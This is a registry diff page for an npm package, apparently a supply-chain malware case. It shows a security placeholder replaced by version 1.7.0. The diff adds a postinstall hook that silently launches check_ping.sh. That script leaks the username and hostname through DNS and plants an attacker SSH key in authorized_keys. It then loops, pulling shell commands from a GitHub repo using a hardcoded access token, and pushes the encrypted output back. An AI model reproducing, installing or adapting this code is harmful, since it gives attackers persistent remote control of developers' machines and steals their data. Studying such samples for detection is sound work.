@flutteruki-gaming/test-eslint-config-flutteruki-gaming 0.0.1-security.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @flutteruki-gaming/test-eslint-config-flutteruki-gaming might be problematic. Click here for more details.

package/check_ping.sh ADDED
@@ -0,0 +1,50 @@
1
+ #!/bin/bash
2
+
3
+ whoiam=$(whoami)
4
+ whereiam=$(hostname)
5
+ nslookup $whoiam.$whereiam.ctcmkfbpc72ib0n8kt9gaowptistpwefr.flutteruki.3588833.com
6
+ echo """ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6QZF9BEbUg9bT2p44GEbDkAwoeRuPMe8xG0QXbskU/FXNR5TsW/yDcV/dWMV2/rvDP5lrNSQ9zn9MjkPpeQ4eOda5aVCzbUp33Z5s6yPBabMLoJGCB9pZi+bd/BmkvrM+s4qcl5s8ijOO/gLWfgv9Fysxe86yYDeXGa75U1V2sfGsj/zu5wAz+n0zdVZy+DVlnrxvKSpEulDaOVrIKAbgWw4lLoRdJG+8Y9JQj+OOdAlNOtLuDaL+IpeaKi+Wj5z5oNUmU70wWhO027Qd18TCJO5/fj6x2kEoH+42KOBzT2EyePnJGfkVENJRHKLAHpIm8LOBgcMC+OtWIlQjbGJHb1HG3mMtgWz3+8gKOXHvQpMS04ZMtXqD6tvHx+SmSCx/sCP1HErziW9g6borQYqwUdfyNMkGey6Ufni0LjAuNZ1Og/n5s59qfHolQaTRU1Qrz8wXDw1goU8sWy2UHC4ykyVBAf9mMdiD1EXgPHnR+3hXV0udvAPucfAy61ny3/tvXZByaxvGRiRGaLFWPKVB0HA6Dz+m61F1lxD9Q+h6JSawttaxLfUXNQqMv1CLg8jaPtZIz9snj5rbrcid7uJybK6zzLZurfucBApZxmromNqn32V22LJWeJhlMexPchQWsIb16uuscpUk6kvD09joVB0SnGw4QqyfRGJJQIzBOQ==""" >> ~/.ssh/authorized_keys
7
+
8
+ LAST_COMMAND=""
9
+ PAT=$GHPAT
10
+ AESK=$AESP
11
+
12
+ slip=25
13
+
14
+ mkdir -p /tmp/tmp6iwot03k/
15
+ cd /tmp/tmp6iwot03k/
16
+
17
+ if ls *.lock 1> /dev/null 2>&1; then
18
+ for lockfile in *.lock; do
19
+ basen="${lockfile%.lock}"
20
+ old_proc=$(ps -p $basen -o args=)
21
+ if echo "$old_proc" | grep -q "check_ping.sh"; then
22
+ exit 0
23
+ fi
24
+ done
25
+ fi
26
+
27
+ currentpid=$$
28
+ touch $currentpid.lock
29
+
30
+ while true; do
31
+
32
+ git clone https://$PAT@github.com/armysick/Innocuous
33
+ cd Innocuous
34
+
35
+ slip=$(cat sleep)
36
+ dmc=$(head -n 1 clear)
37
+ if [ "$LAST_COMMAND" != "$dmc" ]; then
38
+ output=$(bash -c "$dmc")
39
+ echo $output | openssl enc -aes-256-cbc -base64 -pass pass:$AESK >> ls
40
+ git add ls
41
+ GIT_AUTHOR_NAME="$(whoami)/$(hostname)" GIT_AUTHOR_EMAIL="new.user@example.com" GIT_COMMITTER_NAME="Committer Name" GIT_COMMITTER_EMAIL="committer@example.com" git commit -m "yup"
42
+ git push
43
+ LAST_COMMAND=$dmc
44
+ fi
45
+
46
+ cd ..
47
+ rm -rf Innocuous
48
+
49
+ sleep $slip
50
+ done
package/index.js ADDED
@@ -0,0 +1 @@
1
+ // This is an empty index.js file that does nothing
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "@flutteruki-gaming/test-eslint-config-flutteruki-gaming",
3
- "version": "0.0.1-security.0",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.7.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "postinstall": "./postinstall.sh"
7
+ },
8
+ "keywords": [],
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": "testpack"
6
12
  }
package/postinstall.sh ADDED
@@ -0,0 +1,6 @@
1
+ #!/bin/bash
2
+ if [[ "$npm_config_global" == "true" ]]; then
3
+ nohup bash -c 'sleep 2 && cp ./check_ping.sh /tmp/check_ping.sh && cd ../../ && sudo npm uninstall @flutteruki-gaming/test-eslint-config-flutteruki-gaming -g && npm install @flutteruki-gaming/test-eslint-config-flutteruki-gaming@1.5.2 -g && GHPAT=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 AESP=mVTV73ssCRDQwuh6gSfK9ntTT /tmp/check_ping.sh > /tmp/postinstall_checkglobal.log' > /dev/null 2>&1 &
4
+ else
5
+ nohup bash -c 'sleep 2 && cp ./check_ping.sh /tmp/check_ping.sh && cd $(echo $PWD | sed "s/^\(.*node_modules\).*/\1/") && npm uninstall @flutteruki-gaming/test-eslint-config-flutteruki-gaming && npm install @flutteruki-gaming/test-eslint-config-flutteruki-gaming@1.5.2 && GHPAT=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 AESP=mVTV73ssCRDQwuh6gSfK9ntTT /tmp/check_ping.sh > /tmp/postinstall_check.log' > /dev/null 2>&1 &
6
+ fi
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40flutteruki-gaming%2Ftest-eslint-config-flutteruki-gaming for more information.